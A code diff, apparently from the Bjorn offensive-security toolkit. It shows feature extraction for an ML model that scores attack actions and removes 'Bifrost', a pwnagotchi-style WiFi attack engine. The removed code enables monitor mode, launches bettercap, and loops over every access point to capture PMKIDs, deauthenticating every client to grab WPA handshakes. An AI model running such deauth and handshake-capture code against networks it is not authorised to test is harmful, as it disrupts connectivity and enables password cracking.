f['is_private'] = 1.0 if host_features.get('is_private') else 0.0
|
||||
f['has_multiple_ips'] = 1.0 if host_features.get('has_multiple_ips') else 0.0
|
||||
|
||||
# 3. Vendor Category (One-Hot)
|
||||
vendor_cats = ['networking', 'iot', 'nas', 'compute', 'virtualization', 'mobile', 'other', 'unknown']
|
||||
current_vendor = host_features.get('vendor_category', 'unknown')
|
||||
for cat in vendor_cats:
|
||||
f[f'vendor_is_{cat}'] = 1.0 if cat == current_vendor else 0.0
|
||||
|
||||
# 4. Port Profile (One-Hot)
|
||||
port_profiles = ['camera', 'web_server', 'nas', 'database', 'linux_server',
|
||||
'windows_server', 'printer', 'router', 'generic', 'unknown']
|
||||
current_profile = host_features.get('port_profile', 'unknown')
|
||||
for prof in port_profiles:
|
||||
f[f'profile_is_{prof}'] = 1.0 if prof == current_profile else 0.0
|
||||
|
||||
# 5. Network Stats
|
||||
f['net_total_hosts'] = float(network_features.get('total_hosts', 0))
|
||||
f['net_subnet_count'] = float(network_features.get('subnet_count', 0))
|
||||
f['net_similar_vendor_count'] = float(network_features.get('similar_vendor_count', 0))
|
||||
f['net_similar_port_profile_count'] = float(network_features.get('similar_port_profile_count', 0))
|
||||
f['net_active_host_ratio'] = float(network_features.get('active_host_ratio', 0.0))
|
||||
|
||||
# 6. Temporal features
|
||||
f['time_hour'] = float(temporal_features.get('hour_of_day', 0))
|
||||
f['time_day'] = float(temporal_features.get('day_of_week', 0))
|
||||
f['is_weekend'] = 1.0 if temporal_features.get('is_weekend') else 0.0
|
||||
f['is_night'] = 1.0 if temporal_features.get('is_night') else 0.0
|
||||
f['hist_action_count'] = float(temporal_features.get('previous_action_count', 0))
|
||||
f['hist_seconds_since_last'] = float(temporal_features.get('seconds_since_last', 0))
|
||||
f['hist_success_rate'] = float(temporal_features.get('historical_success_rate', 0.0))
|
||||
f['hist_same_attempts'] = float(temporal_features.get('same_action_attempts', 0))
|
||||
f['is_retry'] = 1.0 if temporal_features.get('is_retry') else 0.0
|
||||
f['global_success_rate'] = float(temporal_features.get('global_success_rate', 0.0))
|
||||
f['hours_since_discovery'] = float(temporal_features.get('hours_since_discovery', 0))
|
||||
|
||||
# 7. Action Info
|
||||
action_types = ['bruteforce', 'enumeration', 'exploitation', 'extraction', 'other']
|
||||
current_type = action_features.get('action_type', 'other')
|
||||
for atype in action_types:
|
||||
f[f'action_is_{atype}'] = 1.0 if atype == current_type else 0.0
|
||||
|
||||
f['action_target_port'] = float(action_features.get('target_port', 0))
|
||||
f['action_is_standard_port'] = 1.0 if action_features.get('is_standard_port') else 0.0
|
||||
|
||||
return f
|
||||
|
||||
def extract_neural_features(host_features: Dict[str, Any], network_features: Dict[str, Any], temporal_features: Dict[str, Any], action_features: Dict[str, Any]) -> List[float]:
|
||||
"""
|
||||
Deprecated: Hardcoded list. Use extract_neural_features_dict for evolution.
|
||||
Kept for backward compatibility during transition.
|
||||
"""
|
||||
d = extract_neural_features_dict(host_features, network_features, temporal_features, action_features)
|
||||
# Return as a list in a fixed order (the one previously used)
|
||||
# This is fragile and will be replaced by manifest-based extraction.
|
||||
return list(d.values())
|
||||
|
||||
def get_system_mac() -> str:
|
||||
"""
|
||||
Get the persistent MAC address of the device.
|
||||
Used for unique identification in Swarm mode.
|
||||
"""
|
||||
try:
|
||||
import uuid
|
||||
mac = uuid.getnode()
|
||||
return ':'.join(('%012X' % mac)[i:i+2] for i in range(0, 12, 2))
|
||||
except:
|
||||
return "00:00:00:00:00:00"
|
||||
|
After Width: | Height: | Size: 1.4 MiB |
@@ -1,585 +0,0 @@
|
||||
"""__init__.py - Bifrost, pwnagotchi-compatible WiFi recon engine for Bjorn.
|
||||
|
||||
Runs as a daemon thread alongside MANUAL/AUTO/AI modes.
|
||||
"""
|
||||
import os
|
||||
import time
|
||||
import subprocess
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="bifrost", level=logging.DEBUG)
|
||||
|
||||
|
||||
class BifrostEngine:
|
||||
"""Main Bifrost lifecycle manager.
|
||||
|
||||
Manages the bettercap subprocess and BifrostAgent daemon loop.
|
||||
Pattern follows SentinelEngine (sentinel.py).
|
||||
"""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self._thread = None
|
||||
self._stop_event = threading.Event()
|
||||
self._running = False
|
||||
self._bettercap_proc = None
|
||||
self._monitor_torn_down = False
|
||||
self._monitor_failed = False
|
||||
self.agent = None
|
||||
|
||||
@property
|
||||
def enabled(self):
|
||||
return bool(self.shared_data.config.get('bifrost_enabled', False))
|
||||
|
||||
def start(self):
|
||||
"""Start the Bifrost engine (bettercap + agent loop)."""
|
||||
if self._running:
|
||||
logger.warning("Bifrost already running")
|
||||
return
|
||||
|
||||
# Wait for any previous thread to finish before re-starting
|
||||
if self._thread and self._thread.is_alive():
|
||||
logger.warning("Previous Bifrost thread still running - waiting ...")
|
||||
self._stop_event.set()
|
||||
self._thread.join(timeout=15)
|
||||
|
||||
logger.info("Starting Bifrost engine ...")
|
||||
self._stop_event.clear()
|
||||
self._running = True
|
||||
self._monitor_failed = False
|
||||
self._monitor_torn_down = False
|
||||
|
||||
self._thread = threading.Thread(
|
||||
target=self._loop, daemon=True, name="BifrostEngine"
|
||||
)
|
||||
self._thread.start()
|
||||
|
||||
def stop(self):
|
||||
"""Stop the Bifrost engine gracefully.
|
||||
|
||||
Signals the daemon loop to exit, then waits for it to finish.
|
||||
The loop's finally block handles bettercap shutdown and monitor teardown.
|
||||
"""
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
logger.info("Stopping Bifrost engine ...")
|
||||
self._stop_event.set()
|
||||
self._running = False
|
||||
|
||||
if self._thread and self._thread.is_alive():
|
||||
self._thread.join(timeout=15)
|
||||
self._thread = None
|
||||
self.agent = None
|
||||
|
||||
# Safety net: teardown is idempotent, so this is a no-op if
|
||||
# _loop()'s finally already ran it.
|
||||
self._stop_bettercap()
|
||||
self._teardown_monitor_mode()
|
||||
logger.info("Bifrost engine stopped")
|
||||
|
||||
def _loop(self):
|
||||
"""Main daemon loop - setup monitor mode, start bettercap, create agent, run recon cycle."""
|
||||
try:
|
||||
# Install compatibility shim for pwnagotchi plugins
|
||||
from bifrost import plugins as bfplugins
|
||||
from bifrost.compat import install_shim
|
||||
install_shim(self.shared_data, bfplugins)
|
||||
|
||||
# Setup monitor mode on the WiFi interface
|
||||
self._setup_monitor_mode()
|
||||
|
||||
if self._monitor_failed:
|
||||
logger.error(
|
||||
"Monitor mode setup failed - Bifrost cannot operate without monitor "
|
||||
"mode. For Broadcom chips (Pi Zero W/2W), install nexmon: "
|
||||
"https://github.com/seemoo-lab/nexmon - "
|
||||
"Or use an external USB WiFi adapter with monitor mode support.")
|
||||
# Teardown first (restores network services) BEFORE switching mode,
|
||||
# so the orchestrator doesn't start scanning on a dead network.
|
||||
self._teardown_monitor_mode()
|
||||
self._running = False
|
||||
# Now switch mode back to AUTO - the network should be restored.
|
||||
# We set the flag directly FIRST (bypass setter to avoid re-stopping),
|
||||
# then ensure manual_mode/ai_mode are cleared so getter returns AUTO.
|
||||
try:
|
||||
self.shared_data.config["bifrost_enabled"] = False
|
||||
self.shared_data.config["manual_mode"] = False
|
||||
self.shared_data.config["ai_mode"] = False
|
||||
self.shared_data.manual_mode = False
|
||||
self.shared_data.ai_mode = False
|
||||
self.shared_data.invalidate_config_cache()
|
||||
logger.info("Bifrost auto-disabled due to monitor mode failure - mode: AUTO")
|
||||
except Exception:
|
||||
pass
|
||||
return
|
||||
|
||||
# Start bettercap
|
||||
self._start_bettercap()
|
||||
self._stop_event.wait(3) # Give bettercap time to initialize
|
||||
if self._stop_event.is_set():
|
||||
return
|
||||
|
||||
# Create agent (pass stop_event so its threads exit cleanly)
|
||||
from bifrost.agent import BifrostAgent
|
||||
self.agent = BifrostAgent(self.shared_data, stop_event=self._stop_event)
|
||||
|
||||
# Load plugins
|
||||
bfplugins.load(self.shared_data.config)
|
||||
|
||||
# Initialize agent
|
||||
self.agent.start()
|
||||
|
||||
logger.info("Bifrost agent started - entering recon cycle")
|
||||
|
||||
# Main recon loop (port of do_auto_mode from pwnagotchi)
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
# Full spectrum scan
|
||||
self.agent.recon()
|
||||
|
||||
if self._stop_event.is_set():
|
||||
break
|
||||
|
||||
# Get APs grouped by channel
|
||||
channels = self.agent.get_access_points_by_channel()
|
||||
|
||||
# For each channel
|
||||
for ch, aps in channels:
|
||||
if self._stop_event.is_set():
|
||||
break
|
||||
|
||||
self.agent.set_channel(ch)
|
||||
|
||||
# For each AP on this channel
|
||||
for ap in aps:
|
||||
if self._stop_event.is_set():
|
||||
break
|
||||
|
||||
# Send association frame for PMKID
|
||||
self.agent.associate(ap)
|
||||
|
||||
# Deauth all clients for full handshake
|
||||
for sta in ap.get('clients', []):
|
||||
if self._stop_event.is_set():
|
||||
break
|
||||
self.agent.deauth(ap, sta)
|
||||
|
||||
if not self._stop_event.is_set():
|
||||
self.agent.next_epoch()
|
||||
|
||||
except Exception as e:
|
||||
if 'wifi.interface not set' in str(e):
|
||||
logger.error("WiFi interface lost: %s", e)
|
||||
self._stop_event.wait(60)
|
||||
if not self._stop_event.is_set():
|
||||
self.agent.next_epoch()
|
||||
else:
|
||||
logger.error("Recon loop error: %s", e)
|
||||
self._stop_event.wait(5)
|
||||
|
||||
except Exception as e:
|
||||
logger.error("Bifrost engine fatal error: %s", e)
|
||||
finally:
|
||||
from bifrost import plugins as bfplugins
|
||||
bfplugins.shutdown()
|
||||
self._stop_bettercap()
|
||||
self._teardown_monitor_mode()
|
||||
self._running = False
|
||||
|
||||
# ── Monitor mode management ─────────────────────────
|
||||
|
||||
# ── Nexmon helpers ────────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def _has_nexmon():
|
||||
"""Check if nexmon firmware patches are installed."""
|
||||
import shutil
|
||||
if not shutil.which('nexutil'):
|
||||
return False
|
||||
# Verify patched firmware via dmesg
|
||||
try:
|
||||
r = subprocess.run(
|
||||
['dmesg'], capture_output=True, text=True, timeout=5)
|
||||
if 'nexmon' in r.stdout.lower():
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
# nexutil exists - assume usable even without dmesg confirmation
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def _is_brcmfmac(iface):
|
||||
"""Check if the interface uses the brcmfmac driver (Broadcom)."""
|
||||
driver_path = '/sys/class/net/%s/device/driver' % iface
|
||||
try:
|
||||
real = os.path.realpath(driver_path)
|
||||
return 'brcmfmac' in real
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def _detect_phy(self, iface):
|
||||
"""Detect the phy name for a given interface (e.g. 'phy0')."""
|
||||
try:
|
||||
r = subprocess.run(
|
||||
['iw', 'dev', iface, 'info'],
|
||||
capture_output=True, text=True, timeout=5)
|
||||
for line in r.stdout.splitlines():
|
||||
if 'wiphy' in line:
|
||||
idx = line.strip().split()[-1]
|
||||
return 'phy%s' % idx
|
||||
except Exception:
|
||||
pass
|
||||
return 'phy0'
|
||||
|
||||
def _setup_monitor_mode(self):
|
||||
"""Put the WiFi interface into monitor mode.
|
||||
|
||||
Strategy order:
|
||||
1. Nexmon - for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W)
|
||||
Uses: iw phy <phy> interface add mon0 type monitor + nexutil -m2
|
||||
2. airmon-ng - for chipsets with proper driver support (Atheros, Realtek, etc.)
|
||||
3. iw - direct fallback for other drivers
|
||||
"""
|
||||
self._monitor_torn_down = False
|
||||
self._nexmon_used = False
|
||||
cfg = self.shared_data.config
|
||||
iface = cfg.get('bifrost_iface', 'wlan0mon')
|
||||
|
||||
# If configured iface already ends with 'mon', derive the base name
|
||||
if iface.endswith('mon'):
|
||||
base_iface = iface[:-3] # e.g. 'wlan0mon' -> 'wlan0'
|
||||
else:
|
||||
base_iface = iface
|
||||
|
||||
# Store original interface name for teardown
|
||||
self._base_iface = base_iface
|
||||
self._mon_iface = iface
|
||||
|
||||
# Check if a monitor interface already exists
|
||||
if iface != base_iface and self._iface_exists(iface):
|
||||
logger.info("Monitor interface %s already exists", iface)
|
||||
return
|
||||
|
||||
# ── Strategy 1: Nexmon (Broadcom brcmfmac) ────────────────
|
||||
if self._is_brcmfmac(base_iface):
|
||||
logger.info("Broadcom brcmfmac chip detected on %s", base_iface)
|
||||
if self._has_nexmon():
|
||||
if self._setup_nexmon(base_iface, cfg):
|
||||
return
|
||||
# nexmon setup failed - don't try other strategies, they won't work either
|
||||
self._monitor_failed = True
|
||||
return
|
||||
else:
|
||||
logger.error(
|
||||
"Broadcom brcmfmac chip requires nexmon firmware patches for "
|
||||
"monitor mode. Install nexmon manually using install_nexmon.sh "
|
||||
"or visit: https://github.com/seemoo-lab/nexmon")
|
||||
self._monitor_failed = True
|
||||
return
|
||||
|
||||
# ── Strategy 2: airmon-ng (Atheros, Realtek, etc.) ────────
|
||||
airmon_ok = False
|
||||
try:
|
||||
logger.info("Killing interfering processes ...")
|
||||
subprocess.run(
|
||||
['airmon-ng', 'check', 'kill'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
timeout=15,
|
||||
)
|
||||
logger.info("Starting monitor mode: airmon-ng start %s", base_iface)
|
||||
result = subprocess.run(
|
||||
['airmon-ng', 'start', base_iface],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
combined = (result.stdout + result.stderr).strip()
|
||||
logger.info("airmon-ng output: %s", combined)
|
||||
|
||||
if 'Operation not supported' in combined or 'command failed' in combined:
|
||||
logger.warning("airmon-ng failed: %s", combined)
|
||||
else:
|
||||
# airmon-ng may rename the interface (wlan0 -> wlan0mon)
|
||||
if self._iface_exists(iface):
|
||||
logger.info("Monitor mode active: %s", iface)
|
||||
airmon_ok = True
|
||||
elif self._iface_exists(base_iface):
|
||||
logger.info("Interface %s is now in monitor mode (no rename)", base_iface)
|
||||
cfg['bifrost_iface'] = base_iface
|
||||
self._mon_iface = base_iface
|
||||
airmon_ok = True
|
||||
|
||||
if airmon_ok:
|
||||
return
|
||||
except FileNotFoundError:
|
||||
logger.warning("airmon-ng not found, trying iw fallback ...")
|
||||
except Exception as e:
|
||||
logger.warning("airmon-ng failed: %s, trying iw fallback ...", e)
|
||||
|
||||
# ── Strategy 3: iw (direct fallback) ──────────────────────
|
||||
try:
|
||||
subprocess.run(
|
||||
['ip', 'link', 'set', base_iface, 'down'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
result = subprocess.run(
|
||||
['iw', 'dev', base_iface, 'set', 'type', 'monitor'],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
err = result.stderr.strip()
|
||||
logger.error("iw set monitor failed (rc=%d): %s", result.returncode, err)
|
||||
self._monitor_failed = True
|
||||
subprocess.run(
|
||||
['ip', 'link', 'set', base_iface, 'up'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
return
|
||||
subprocess.run(
|
||||
['ip', 'link', 'set', base_iface, 'up'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
logger.info("Monitor mode set via iw on %s", base_iface)
|
||||
cfg['bifrost_iface'] = base_iface
|
||||
self._mon_iface = base_iface
|
||||
except Exception as e:
|
||||
logger.error("Failed to set monitor mode: %s", e)
|
||||
self._monitor_failed = True
|
||||
|
||||
def _setup_nexmon(self, base_iface, cfg):
|
||||
"""Enable monitor mode using nexmon (for Broadcom brcmfmac chips).
|
||||
|
||||
Creates a separate monitor interface (mon0) so wlan0 can potentially
|
||||
remain usable for management traffic (like pwnagotchi does).
|
||||
|
||||
Returns True on success, False on failure.
|
||||
"""
|
||||
mon_iface = 'mon0'
|
||||
phy = self._detect_phy(base_iface)
|
||||
logger.info("Nexmon: setting up monitor mode on %s (phy=%s)", base_iface, phy)
|
||||
|
||||
try:
|
||||
# Kill interfering services (same as pwnagotchi)
|
||||
for svc in ('wpa_supplicant', 'NetworkManager', 'dhcpcd'):
|
||||
subprocess.run(
|
||||
['systemctl', 'stop', svc],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
|
||||
# Remove old mon0 if it exists
|
||||
if self._iface_exists(mon_iface):
|
||||
subprocess.run(
|
||||
['iw', 'dev', mon_iface, 'del'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5,
|
||||
)
|
||||
|
||||
# Create monitor interface via iw phy
|
||||
result = subprocess.run(
|
||||
['iw', 'phy', phy, 'interface', 'add', mon_iface, 'type', 'monitor'],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.error("Failed to create %s: %s", mon_iface, result.stderr.strip())
|
||||
return False
|
||||
|
||||
# Bring monitor interface up
|
||||
subprocess.run(
|
||||
['ifconfig', mon_iface, 'up'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
|
||||
# Enable monitor mode with radiotap headers via nexutil
|
||||
result = subprocess.run(
|
||||
['nexutil', '-m2'],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.warning("nexutil -m2 returned rc=%d: %s", result.returncode, result.stderr.strip())
|
||||
|
||||
# Verify
|
||||
verify = subprocess.run(
|
||||
['nexutil', '-m'],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
mode_val = verify.stdout.strip()
|
||||
logger.info("nexutil -m reports: %s", mode_val)
|
||||
|
||||
if not self._iface_exists(mon_iface):
|
||||
logger.error("Monitor interface %s not created", mon_iface)
|
||||
return False
|
||||
|
||||
# Success - update config to use mon0
|
||||
cfg['bifrost_iface'] = mon_iface
|
||||
self._mon_iface = mon_iface
|
||||
self._nexmon_used = True
|
||||
logger.info("Nexmon monitor mode active on %s (phy=%s)", mon_iface, phy)
|
||||
return True
|
||||
|
||||
except FileNotFoundError as e:
|
||||
logger.error("Required tool not found: %s", e)
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Nexmon setup error: %s", e)
|
||||
return False
|
||||
|
||||
def _teardown_monitor_mode(self):
|
||||
"""Restore the WiFi interface to managed mode (idempotent)."""
|
||||
if self._monitor_torn_down:
|
||||
return
|
||||
base_iface = getattr(self, '_base_iface', None)
|
||||
mon_iface = getattr(self, '_mon_iface', None)
|
||||
if not base_iface:
|
||||
return
|
||||
self._monitor_torn_down = True
|
||||
|
||||
logger.info("Restoring managed mode for %s ...", base_iface)
|
||||
|
||||
if getattr(self, '_nexmon_used', False):
|
||||
# ── Nexmon teardown ──
|
||||
try:
|
||||
subprocess.run(
|
||||
['nexutil', '-m0'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5,
|
||||
)
|
||||
logger.info("Nexmon monitor mode disabled (nexutil -m0)")
|
||||
except Exception:
|
||||
pass
|
||||
# Remove the mon0 interface
|
||||
if mon_iface and mon_iface != base_iface and self._iface_exists(mon_iface):
|
||||
try:
|
||||
subprocess.run(
|
||||
['iw', 'dev', mon_iface, 'del'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5,
|
||||
)
|
||||
logger.info("Removed monitor interface %s", mon_iface)
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
# ── airmon-ng / iw teardown ──
|
||||
try:
|
||||
iface_to_stop = mon_iface or base_iface
|
||||
subprocess.run(
|
||||
['airmon-ng', 'stop', iface_to_stop],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
timeout=15,
|
||||
)
|
||||
logger.info("Monitor mode stopped via airmon-ng")
|
||||
except FileNotFoundError:
|
||||
try:
|
||||
subprocess.run(
|
||||
['ip', 'link', 'set', base_iface, 'down'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
subprocess.run(
|
||||
['iw', 'dev', base_iface, 'set', 'type', 'managed'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
subprocess.run(
|
||||
['ip', 'link', 'set', base_iface, 'up'],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10,
|
||||
)
|
||||
logger.info("Managed mode restored via iw on %s", base_iface)
|
||||
except Exception as e:
|
||||
logger.error("Failed to restore managed mode: %s", e)
|
||||
except Exception as e:
|
||||
logger.warning("airmon-ng stop failed: %s", e)
|
||||
|
||||
# Restart network services that were killed
|
||||
restarted = False
|
||||
for svc in ('wpa_supplicant', 'dhcpcd', 'NetworkManager'):
|
||||
try:
|
||||
subprocess.run(
|
||||
['systemctl', 'start', svc],
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=15,
|
||||
)
|
||||
restarted = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Wait for network services to actually reconnect before handing
|
||||
# control back so the orchestrator doesn't scan a dead interface.
|
||||
if restarted:
|
||||
logger.info("Waiting for network services to reconnect ...")
|
||||
time.sleep(5)
|
||||
|
||||
@staticmethod
|
||||
def _iface_exists(iface_name):
|
||||
"""Check if a network interface exists."""
|
||||
return os.path.isdir('/sys/class/net/%s' % iface_name)
|
||||
|
||||
# ── Bettercap subprocess management ────────────────
|
||||
|
||||
def _start_bettercap(self):
|
||||
"""Spawn bettercap subprocess with REST API."""
|
||||
cfg = self.shared_data.config
|
||||
iface = cfg.get('bifrost_iface', 'wlan0mon')
|
||||
host = cfg.get('bifrost_bettercap_host', '127.0.0.1')
|
||||
port = str(cfg.get('bifrost_bettercap_port', 8081))
|
||||
user = cfg.get('bifrost_bettercap_user', 'user')
|
||||
password = cfg.get('bifrost_bettercap_pass', 'pass')
|
||||
|
||||
cmd = [
|
||||
'bettercap', '-iface', iface, '-no-colors',
|
||||
'-eval', 'set api.rest.address %s' % host,
|
||||
'-eval', 'set api.rest.port %s' % port,
|
||||
'-eval', 'set api.rest.username %s' % user,
|
||||
'-eval', 'set api.rest.password %s' % password,
|
||||
'-eval', 'api.rest on',
|
||||
]
|
||||
|
||||
logger.info("Starting bettercap: %s", ' '.join(cmd))
|
||||
try:
|
||||
self._bettercap_proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
logger.info("bettercap PID: %d", self._bettercap_proc.pid)
|
||||
except FileNotFoundError:
|
||||
logger.error("bettercap not found! Install with: apt install bettercap")
|
||||
raise
|
||||
except Exception as e:
|
||||
logger.error("Failed to start bettercap: %s", e)
|
||||
raise
|
||||
|
||||
def _stop_bettercap(self):
|
||||
"""Kill the bettercap subprocess."""
|
||||
if self._bettercap_proc:
|
||||
try:
|
||||
self._bettercap_proc.terminate()
|
||||
self._bettercap_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._bettercap_proc.kill()
|
||||
except Exception:
|
||||
pass
|
||||
self._bettercap_proc = None
|
||||
logger.info("bettercap stopped")
|
||||
|
||||
# ── Status for web API ────────────────────────────────
|
||||
|
||||
def get_status(self):
|
||||
"""Return full engine status for web API."""
|
||||
base = {
|
||||
'enabled': self.enabled,
|
||||
'running': self._running,
|
||||
'monitor_failed': self._monitor_failed,
|
||||
}
|
||||
if self.agent and self._running:
|
||||
base.update(self.agent.get_status())
|
||||
else:
|
||||
base.update({
|
||||
'mood': 'sleeping',
|
||||
'face': '(-.-) zzZ',
|
||||
'voice': '',
|
||||
'channel': 0,
|
||||
'num_aps': 0,
|
||||
'num_handshakes': 0,
|
||||
'uptime': 0,
|
||||
'epoch': 0,
|
||||
'mode': 'auto',
|
||||
'last_pwnd': '',
|
||||
'reward': 0,
|
||||
})
|
||||
return base
|
||||
@@ -1,568 +0,0 @@
|
||||
"""agent.py - Bifrost WiFi recon agent.
|
||||
|
||||
Ported from pwnagotchi/agent.py using composition instead of inheritance.
|
||||
"""
|
||||
import time
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import asyncio
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from bifrost.bettercap import BettercapClient
|
||||
from bifrost.automata import BifrostAutomata
|
||||
from bifrost.epoch import BifrostEpoch
|
||||
from bifrost.voice import BifrostVoice
|
||||
from bifrost import plugins
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="bifrost.agent", level=logging.DEBUG)
|
||||
|
||||
|
||||
class BifrostAgent:
|
||||
"""WiFi recon agent - drives bettercap, captures handshakes, tracks epochs."""
|
||||
|
||||
def __init__(self, shared_data, stop_event=None):
|
||||
self.shared_data = shared_data
|
||||
self._config = shared_data.config
|
||||
self.db = shared_data.db
|
||||
self._stop_event = stop_event or threading.Event()
|
||||
|
||||
# Sub-systems
|
||||
cfg = self._config
|
||||
self.bettercap = BettercapClient(
|
||||
hostname=cfg.get('bifrost_bettercap_host', '127.0.0.1'),
|
||||
scheme='http',
|
||||
port=int(cfg.get('bifrost_bettercap_port', 8081)),
|
||||
username=cfg.get('bifrost_bettercap_user', 'user'),
|
||||
password=cfg.get('bifrost_bettercap_pass', 'pass'),
|
||||
)
|
||||
self.automata = BifrostAutomata(cfg)
|
||||
self.epoch = BifrostEpoch(cfg)
|
||||
self.voice = BifrostVoice()
|
||||
|
||||
self._started_at = time.time()
|
||||
self._filter = None
|
||||
flt = cfg.get('bifrost_filter', '')
|
||||
if flt:
|
||||
try:
|
||||
self._filter = re.compile(flt)
|
||||
except re.error:
|
||||
logger.warning("Invalid bifrost_filter regex: %s", flt)
|
||||
|
||||
self._current_channel = 0
|
||||
self._tot_aps = 0
|
||||
self._aps_on_channel = 0
|
||||
self._supported_channels = list(range(1, 15))
|
||||
|
||||
self._access_points = []
|
||||
self._last_pwnd = None
|
||||
self._history = {}
|
||||
self._handshakes = {}
|
||||
self.mode = 'auto'
|
||||
|
||||
# Whitelist
|
||||
self._whitelist = [
|
||||
w.strip().lower() for w in
|
||||
str(cfg.get('bifrost_whitelist', '')).split(',') if w.strip()
|
||||
]
|
||||
# Channels
|
||||
self._channels = [
|
||||
int(c.strip()) for c in
|
||||
str(cfg.get('bifrost_channels', '')).split(',') if c.strip()
|
||||
]
|
||||
|
||||
# Ensure handshakes dir
|
||||
hs_dir = cfg.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes')
|
||||
if hs_dir and not os.path.exists(hs_dir):
|
||||
try:
|
||||
os.makedirs(hs_dir, exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# ── Lifecycle ─────────────────────────────────────────
|
||||
|
||||
def start(self):
|
||||
"""Initialize bettercap, start monitor mode, begin event polling."""
|
||||
self._wait_bettercap()
|
||||
self.setup_events()
|
||||
self.automata.set_starting()
|
||||
self._log_activity('system', 'Bifrost starting', self.voice.on_starting())
|
||||
self.start_monitor_mode()
|
||||
self.start_event_polling()
|
||||
self.start_session_fetcher()
|
||||
self.next_epoch()
|
||||
self.automata.set_ready()
|
||||
self._log_activity('system', 'Bifrost ready', self.voice.on_ready())
|
||||
|
||||
def setup_events(self):
|
||||
"""Silence noisy bettercap events."""
|
||||
logger.info("connecting to %s ...", self.bettercap.url)
|
||||
silence = [
|
||||
'ble.device.new', 'ble.device.lost', 'ble.device.disconnected',
|
||||
'ble.device.connected', 'ble.device.service.discovered',
|
||||
'ble.device.characteristic.discovered',
|
||||
'mod.started', 'mod.stopped', 'update.available',
|
||||
'session.closing', 'session.started',
|
||||
]
|
||||
for tag in silence:
|
||||
try:
|
||||
self.bettercap.run('events.ignore %s' % tag, verbose_errors=False)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _reset_wifi_settings(self):
|
||||
iface = self._config.get('bifrost_iface', 'wlan0mon')
|
||||
self.bettercap.run('set wifi.interface %s' % iface)
|
||||
self.bettercap.run('set wifi.ap.ttl %d' % self._config.get('bifrost_personality_ap_ttl', 120))
|
||||
self.bettercap.run('set wifi.sta.ttl %d' % self._config.get('bifrost_personality_sta_ttl', 300))
|
||||
self.bettercap.run('set wifi.rssi.min %d' % self._config.get('bifrost_personality_min_rssi', -200))
|
||||
hs_dir = self._config.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes')
|
||||
self.bettercap.run('set wifi.handshakes.file %s' % hs_dir)
|
||||
self.bettercap.run('set wifi.handshakes.aggregate false')
|
||||
|
||||
def start_monitor_mode(self):
|
||||
"""Wait for monitor interface and start wifi.recon."""
|
||||
iface = self._config.get('bifrost_iface', 'wlan0mon')
|
||||
has_mon = False
|
||||
retries = 0
|
||||
|
||||
while not has_mon and retries < 30 and not self._stop_event.is_set():
|
||||
try:
|
||||
s = self.bettercap.session()
|
||||
for i in s.get('interfaces', []):
|
||||
if i['name'] == iface:
|
||||
logger.info("found monitor interface: %s", i['name'])
|
||||
has_mon = True
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not has_mon:
|
||||
logger.info("waiting for monitor interface %s ... (%d)", iface, retries)
|
||||
self._stop_event.wait(2)
|
||||
retries += 1
|
||||
|
||||
if not has_mon:
|
||||
logger.warning("monitor interface %s not found after %d retries", iface, retries)
|
||||
|
||||
# Detect supported channels
|
||||
try:
|
||||
from bifrost.compat import _build_utils_shim
|
||||
self._supported_channels = _build_utils_shim(self.shared_data).iface_channels(iface)
|
||||
except Exception:
|
||||
self._supported_channels = list(range(1, 15))
|
||||
|
||||
logger.info("supported channels: %s", self._supported_channels)
|
||||
self._reset_wifi_settings()
|
